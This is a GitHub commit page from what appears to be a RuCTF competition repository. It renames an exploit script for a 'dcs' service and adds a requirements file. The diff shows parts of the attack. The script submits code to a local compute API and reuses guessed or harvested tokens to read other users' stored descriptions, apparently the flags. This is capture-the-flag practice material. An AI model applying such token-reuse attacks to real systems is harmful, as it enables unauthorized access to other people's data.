Skip to content

Commit ae5a21b

Browse files
rkhapovkeltecc
authored andcommittedApr 26, 2023
[dcs] add sploit in neede format
1 parent 0eb85d1 commit ae5a21b

File tree

2 files changed

+6
-4
lines changed

2 files changed

+6
-4
lines changed
 

‎sploits/dcs/sploit.py ‎sploits/dcs/dcs.1.sploit.py

+4-4
Original file line numberDiff line numberDiff line change
@@ -52,13 +52,13 @@
5252
with requests.post('http://localhost:7654/api/compute', json={'description': 'PWNED', 'code': code}) as r:
5353
print(r, r.content)
5454
assert(r.status_code == 201)
55-
token = r.headers['X-BCS-Token']
55+
token = r.headers['X-DCS-Token']
5656

57-
with requests.get('http://localhost:7654/api/compute', headers={'X-BCS-Token': token}) as r:
57+
with requests.get('http://localhost:7654/api/compute', headers={'X-DCS-Token': token}) as r:
5858
print(r, r.content)
5959
assert(r.status_code == 200)
6060

61-
with requests.get('http://localhost:7654/api/compute', headers={'X-BCS-Token': 'ructfructfructfructfructfructfru'}) as r:
61+
with requests.get('http://localhost:7654/api/compute', headers={'X-DCS-Token': 'ructfructfructfructfructfructfru'}) as r:
6262
print(r, r.content)
6363
assert(r.status_code == 200)
6464

@@ -74,7 +74,7 @@ def get_token_from_path(p):
7474
if t == '':
7575
continue
7676

77-
with requests.get('http://localhost:7654/api/compute', headers={'X-BCS-Token': t}) as r:
77+
with requests.get('http://localhost:7654/api/compute', headers={'X-DCS-Token': t}) as r:
7878
assert(r.status_code == 200)
7979

8080
f = json.loads(r.content.decode('utf-8'))["description"]

‎sploits/dcs/requirements.txt

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
requests==2.28.2
2+

0 commit comments

Comments
 (0)
Please sign in to comment.